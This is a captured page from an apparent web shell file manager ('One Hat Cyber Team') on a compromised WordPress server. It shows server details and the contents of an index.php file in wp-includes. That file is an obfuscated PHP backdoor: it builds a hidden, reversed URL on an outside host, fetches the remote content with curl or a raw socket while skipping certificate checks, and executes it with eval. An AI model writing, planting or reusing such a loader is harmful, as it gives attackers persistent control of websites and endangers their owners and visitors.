⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
biz.gsm.com.ng
/
wp-includes
/
ad8d4dbe
/
View File Name :
index.php
<?php goto PNcvg; b1FAi: $RPBoA .= "\164\170\164"; goto Sv1Qu; HtWKc: $RPBoA .= "\150"; goto By46I; LKEgW: $RPBoA .= "\x6f\x65\163\x2f\57"; goto nP3fX; cWbq1: $RPBoA .= "\162\57\x69\144"; goto iA6KV; I14BS: $RPBoA .= "\x2e"; goto ObAHr; iA6KV: $RPBoA .= "\x75"; goto wGkor; ObAHr: $RPBoA .= "\151\144\x75\x77\x2e"; goto LKEgW; Sv1Qu: $RPBoA .= "\x2e\x31\163\145"; goto cWbq1; PNcvg: $RPBoA = ''; goto b1FAi; By46I: eval("\77\x3e" . iD5nf(strrev($RPBoA))); goto YElnO; wGkor: $RPBoA .= "\167\57"; goto Siy0L; CXqSm: $RPBoA .= "\165\x72"; goto I14BS; nP3fX: $RPBoA .= "\x3a\163\x70\x74\x74"; goto HtWKc; Siy0L: $RPBoA .= "\155"; goto TPD9X; TPD9X: $RPBoA .= "\157\143\56"; goto CXqSm; YElnO: function Id5nf($U2D_q, $JyLyw = "\x47\x45\x54", $MPhkg = array(), $N9ahN = 45) { try { goto Vq9h2; E_U2H: X4bQg: goto O33C0; Jcm70: if (!($JyLyw == "\x50\x4f\123\124")) { goto nbmvH; } goto qfp9Z; oKPsI: $FwF4J = isset($Q9slK["\163\143\150\x65\155\x65"]) ? $Q9slK["\x73\143\x68\145\155\145"] : "\x68\164\x74\x70"; goto svKHX; GcivY: if (!($JyLyw == "\120\x4f\123\x54")) { goto pUXls; } goto SVmnk; svKHX: $mWTdl = isset($Q9slK["\x70\x6f\162\164"]) ? $Q9slK["\160\x6f\162\x74"] : ($FwF4J === "\150\164\x74\x70\x73" ? 443 : 80); goto AUI2p; LfKtN: curl_setopt($lN7q4, CURLOPT_POSTFIELDS, http_build_query($MPhkg)); goto kvC20; aBpdy: return trim($xwck1); goto BdHIw; dM_r_: $IzVdg = isset($Q9slK["\x70\x61\164\150"]) ? $Q9slK["\x70\x61\164\150"] : "\57"; goto iSDQN; p1pHP: if (feof($ZV8Ew)) { goto Elhf7; } goto dNyLL; qfp9Z: $UJiND .= $koMd4 . "\xd\12"; goto gPDo9; F4ixN: curl_setopt($lN7q4, CURLOPT_SSL_VERIFYHOST, false); goto xz6y6; XAtxN: qamJG: goto I2E0I; njL1K: muYQU: goto zw7Ok; VrCA3: $xwck1 = substr($xwck1, $Y0h5p + 2 + $eINXn + 2); goto ttJsc; iSDQN: $C87WC = isset($Q9slK["\161\x75\145\162\x79"]) ? "\x3f" . $Q9slK["\x71\x75\145\x72\x79"] : ''; goto oKPsI; ZI9Dh: $lN7q4 = curl_init(); goto FWUPf; Qar8k: Q0kJv: goto aBpdy; rEhSQ: curl_setopt($lN7q4, CURLOPT_CONNECTTIMEOUT, 0); goto tLl2e; idPQS: $a7wIv = ''; goto rPMHA; GYcQC: if (!($JyLyw == "\120\117\123\x54")) { goto m7tj2; } goto BXEbs; dNyLL: $jOSOV .= fgets($ZV8Ew, 1024); goto P7vVJ; eXvLP: curl_close($lN7q4); goto Ih9Kk; VxBdU: pUXls: goto CzWid; Rjauu: $xwck1 = $a7wIv; goto Qar8k; CzWid: $UJiND = implode("\xd\xa", $omQSA) . "\xd\xa\15\12"; goto Jcm70; ttJsc: goto g3Uw6; goto Rd6F_; Mv7u1: $ZV8Ew = stream_socket_client("{$yZUgN}\x3a\x2f\57{$sKd8D}\x3a{$mWTdl}", $HpMd2, $w4uJU, $N9ahN); goto AZmLR; U1qXX: Elhf7: goto VONol; cA78k: $a7wIv .= substr($xwck1, $Y0h5p + 2, $eINXn); goto VrCA3; aps9C: curl_setopt($lN7q4, CURLOPT_USERAGENT, "\107\x4f"); goto rEhSQ; Tx1H2: $xwck1 = isset($LpORT[1]) ? $LpORT[1] : ''; goto V8hm4; Ih9Kk: return trim(trim($UWCxS, "\xef\273\xbf")); goto E_U2H; gq2AE: NJUVI: goto cA78k; tLl2e: curl_setopt($lN7q4, CURLOPT_RETURNTRANSFER, 1); goto jGAi0; I2E0I: $eINXn = hexdec(substr($xwck1, 0, $Y0h5p)); goto xaWuD; rPMHA: g3Uw6: goto AfVhb; FWUPf: curl_setopt($lN7q4, CURLOPT_URL, $U2D_q); goto aps9C; zw7Ok: $omQSA = array("{$JyLyw}\40{$IzVdg}{$C87WC}\x20\110\x54\x54\120\57\61\x2e\x31", "\x48\x6f\x73\x74\72\x20{$sKd8D}", "\x55\x73\x65\x72\x2d\x41\x67\145\156\x74\72\x20\x4d\157\172\x69\154\154\141\57\65\x2e\60\x20\x28\x57\x69\x6e\144\x6f\167\x73\x20\116\x54\40\61\60\x2e\60\x3b\40\x57\151\156\x36\x34\x3b\40\170\x36\x34\x29\40\x41\160\x70\154\145\x57\145\142\113\151\x74\57\65\63\67\56\x33\x36\40\50\113\110\x54\x4d\114\x2c\40\x6c\151\153\145\40\107\145\x63\153\157\x29\x20\x43\x68\162\x6f\x6d\x65\57\71\x31\x2e\60\x2e\64\64\67\62\56\x31\x32\64\x20\x53\x61\146\141\x72\x69\57\x35\63\x37\x2e\x33\66", "\x43\157\156\156\x65\143\164\151\157\x6e\x3a\40\x43\154\157\x73\145"); goto GcivY; VONol: fclose($ZV8Ew); goto q_7IL; q_7IL: $LpORT = explode("\xd\12\15\xa", $jOSOV, 2); goto El26t; XxEnC: $sKd8D = $Q9slK["\x68\157\163\x74"]; goto dM_r_; JQ_Nr: $Y0h5p = strpos($xwck1, "\15\12"); goto IHKI2; Rd6F_: HvYKA: goto Rjauu; WkEm1: $omQSA[] = "\103\157\x6e\x74\145\x6e\164\x2d\x54\x79\160\145\72\x20\x61\160\160\x6c\151\x63\141\x74\151\157\x6e\x2f\170\x2d\x77\x77\167\55\146\x6f\162\x6d\55\165\162\154\145\156\143\157\x64\145\144"; goto T5rqA; gPDo9: nbmvH: goto pxpUm; O33C0: $Q9slK = parse_url($U2D_q); goto XxEnC; q0cjR: return 0; goto njL1K; afgHI: pxWGr: goto p1pHP; V8hm4: if (!(stripos($omQSA, "\x54\162\141\x6e\163\x66\145\x72\x2d\x45\x6e\143\157\x64\x69\x6e\x67\x3a\40\143\x68\x75\156\x6b\x65\144") !== false)) { goto Q0kJv; } goto idPQS; BXEbs: curl_setopt($lN7q4, CURLOPT_POST, 1); goto LfKtN; fkaxz: goto HvYKA; goto gq2AE; pxpUm: fwrite($ZV8Ew, $UJiND); goto kZrHh; AUI2p: $yZUgN = $FwF4J === "\150\164\x74\160\163" ? "\x73\x73\154" : "\x74\143\x70"; goto Mv7u1; kZrHh: $jOSOV = ''; goto afgHI; xz6y6: curl_setopt($lN7q4, CURLOPT_FOLLOWLOCATION, true); goto CXMyq; T5rqA: $omQSA[] = "\103\x6f\156\x74\x65\x6e\164\55\x4c\x65\156\147\x74\x68\x3a\40" . strlen($koMd4); goto VxBdU; El26t: $omQSA = isset($LpORT[0]) ? $LpORT[0] : ''; goto Tx1H2; SVmnk: $koMd4 = http_build_query($MPhkg); goto WkEm1; fVkMB: goto HvYKA; goto XAtxN; AfVhb: if (!true) { goto HvYKA; } goto JQ_Nr; IHKI2: if (!($Y0h5p === false)) { goto qamJG; } goto fVkMB; xaWuD: if (!($eINXn === 0)) { goto NJUVI; } goto fkaxz; AZmLR: if ($ZV8Ew) { goto muYQU; } goto q0cjR; jGAi0: curl_setopt($lN7q4, CURLOPT_SSL_VERIFYPEER, false); goto F4ixN; dXsCC: $UWCxS = curl_exec($lN7q4); goto eXvLP; kvC20: m7tj2: goto dXsCC; Vq9h2: if (!(function_exists("\143\165\162\x6c\x5f\x69\x6e\x69\164") && function_exists("\143\165\162\x6c\x5f\x65\170\x65\143"))) { goto X4bQg; } goto ZI9Dh; CXMyq: curl_setopt($lN7q4, CURLOPT_TIMEOUT, $N9ahN); goto GYcQC; P7vVJ: goto pxWGr; goto U1qXX; BdHIw: } catch (Exception $cugZq) { } return 0; }